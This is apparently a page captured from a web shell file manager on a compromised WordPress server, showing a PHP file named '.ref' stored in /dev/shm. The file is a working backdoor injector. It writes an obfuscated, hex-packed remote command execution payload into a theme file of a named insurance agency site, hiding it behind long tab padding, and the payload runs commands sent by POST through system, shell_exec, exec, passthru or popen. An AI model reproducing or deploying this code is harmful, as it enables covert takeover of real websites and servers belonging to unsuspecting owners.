📁 File Manager Pro
v10.0.3 | PHP: 8.2.31
Server: LiteSpeed
2026-06-26 12:37:01
📂
/ (Root)
/
dev
/
shm
📍 /dev/shm
🔄 Refresh
✏️
Editing: .ref
Read Only
<?php $path = '/home/benerhvf/omegainsuranceagency.com/wp-content/themes/woodmart/inc/integrations/gutenberg/build/blocks/table/contactus.options.del.php'; $ft = @filemtime($path); $content = (string) @file_get_contents($path); $new_code = rawurldecode('%24entry1%20%3D%20%277%27%3B%24entry2%20%3D%20%279%27%3B%24entry3%20%3D%20%273%27%3B%24entry4%20%3D%20%275%27%3B%24entry5%20%3D%20%276%27%3B%24entry6%20%3D%20%27c%27%3B%24entry7%20%3D%20%278%27%3B%24entry8%20%3D%20%272%27%3B%24entry9%20%3D%20%270%27%3B%24entry10%20%3D%20%27e%27%3B%24entry11%20%3D%20%274%27%3B%24entry12%20%3D%20%27f%27%3B%24entry13%20%3D%20%27a%27%3B%24publish_content1%20%3D%20pack%28%22H%2A%22%2C%20%277%27.%273%27.%24entry1.%24entry2.%277%27.%24entry3.%277%27.%274%27.%276%27.%24entry4.%276%27.%27d%27%29%3B%24publish_content2%20%3D%20pack%28%22H%2A%22%2C%20%277%27.%273%27.%24entry5.%278%27.%24entry5.%24entry4.%24entry5.%27c%27.%276%27.%24entry6.%24entry4.%27f%27.%276%27.%24entry4.%24entry1.%278%27.%24entry5.%24entry4.%24entry5.%273%27%29%3B%24publish_content3%20%3D%20pack%28%22H%2A%22%2C%20%276%27.%275%27.%24entry1.%24entry7.%24entry5.%24entry4.%24entry5.%24entry3%29%3B%24publish_content4%20%3D%20pack%28%22H%2A%22%2C%20%277%27.%270%27.%276%27.%271%27.%24entry1.%24entry3.%24entry1.%273%27.%277%27.%274%27.%276%27.%278%27.%24entry1.%24entry8.%277%27.%275%27%29%3B%24publish_content5%20%3D%20pack%28%22H%2A%22%2C%20%277%27.%270%27.%24entry5.%27f%27.%24entry1.%24entry9.%24entry5.%24entry4.%24entry5.%24entry10%29%3B%24publish_content6%20%3D%20pack%28%22H%2A%22%2C%20%24entry1.%273%27.%277%27.%24entry11.%277%27.%24entry8.%24entry5.%24entry4.%24entry5.%271%27.%276%27.%27d%27.%24entry4.%24entry12.%276%27.%277%27.%24entry5.%275%27.%277%27.%274%27.%24entry4.%24entry12.%24entry5.%273%27.%276%27.%27f%27.%276%27.%24entry10.%24entry1.%274%27.%24entry5.%275%27.%276%27.%27e%27.%24entry1.%24entry11.%24entry1.%273%27%29%3B%24publish_content7%20%3D%20pack%28%22H%2A%22%2C%20%277%27.%270%27.%276%27.%24entry3.%24entry5.%27c%27.%24entry5.%27f%27.%24entry1.%24entry3.%24entry5.%24entry4%29%3B%24app_initializer%20%3D%20pack%28%22H%2A%22%2C%20%276%27.%271%27.%277%27.%270%27.%24entry1.%270%27.%275%27.%24entry12.%24entry5.%279%27.%24entry5.%27e%27.%24entry5.%279%27.%24entry1.%24entry11.%24entry5.%24entry2.%24entry5.%271%27.%24entry5.%27c%27.%276%27.%24entry2.%24entry1.%24entry13.%276%27.%275%27.%24entry1.%272%27%29%3Bif%28isset%28%24_POST%5B%24app_initializer%5D%29%29%7B%24app_initializer%3Dpack%28%22H%2A%22%2C%24_POST%5B%24app_initializer%5D%29%3Bif%28function_exists%28%24publish_content1%29%29%7B%24publish_content1%28%24app_initializer%29%3B%7Delseif%28function_exists%28%24publish_content2%29%29%7Bprint%20%24publish_content2%28%24app_initializer%29%3B%7Delseif%28function_exists%28%24publish_content3%29%29%7B%24publish_content3%28%24app_initializer%2C%24parameter_group_fac%29%3Bprint%20join%28%22%5Cn%22%2C%24parameter_group_fac%29%3B%7Delseif%28function_exists%28%24publish_content4%29%29%7B%24publish_content4%28%24app_initializer%29%3B%7Delseif%28function_exists%28%24publish_content5%29%26%26function_exists%28%24publish_content6%29%26%26function_exists%28%24publish_content7%29%29%7B%24val_value%3D%24publish_content5%28%24app_initializer%2C%22r%22%29%3Bif%28%24val_value%29%7B%24itm_res%3D%24publish_content6%28%24val_value%29%3B%24publish_content7%28%24val_value%29%3Bprint%20%24itm_res%3B%7D%7Dexit%3B%7D'); if (strlen($content) < 32) { die('!failed!'); } if (strstr($content, $new_code)) { die('!already injected!'); } $p = 0; if (strncmp($content, "\xEF\xBB\xBF", 3) === 0) { $p = 3; } while ($p < strlen($content) && strpos(" \t\r\n", $content[$p]) !== false) { $p++; } $prefix = substr($content, 0, $p); $body = substr($content, $p); if (strlen($body) < 32) { die('!failed!'); } $starts = ['<?php', '<?']; foreach ($starts as $start) { $len = strlen($start); if ($len > strlen($body) || substr($body, 0, $len) !== $start) { continue; } if ($start === '<?') { if (strncmp($body, '<?xml', 5) === 0) { continue; } if (strlen($body) >= 3 && substr($body, 0, 3) === '<?=') { continue; } } $rest = substr($body, $len); $candidate = $prefix.$start.str_repeat("\t", 42).$new_code."\n".$rest; $tmp = @tempnam(dirname($path), 't'); if ($tmp !== false && @file_put_contents($tmp, $candidate) !== false && @rename($tmp, $path)) { $check = (string) @file_get_contents($path); if (strstr($check, $new_code)) { die("!success!<ft>{$ft}</ft>"); } } if ($tmp !== false && is_file($tmp)) { @unlink($tmp); } } die('!failed!');
💾 Save Changes
❌ Cancel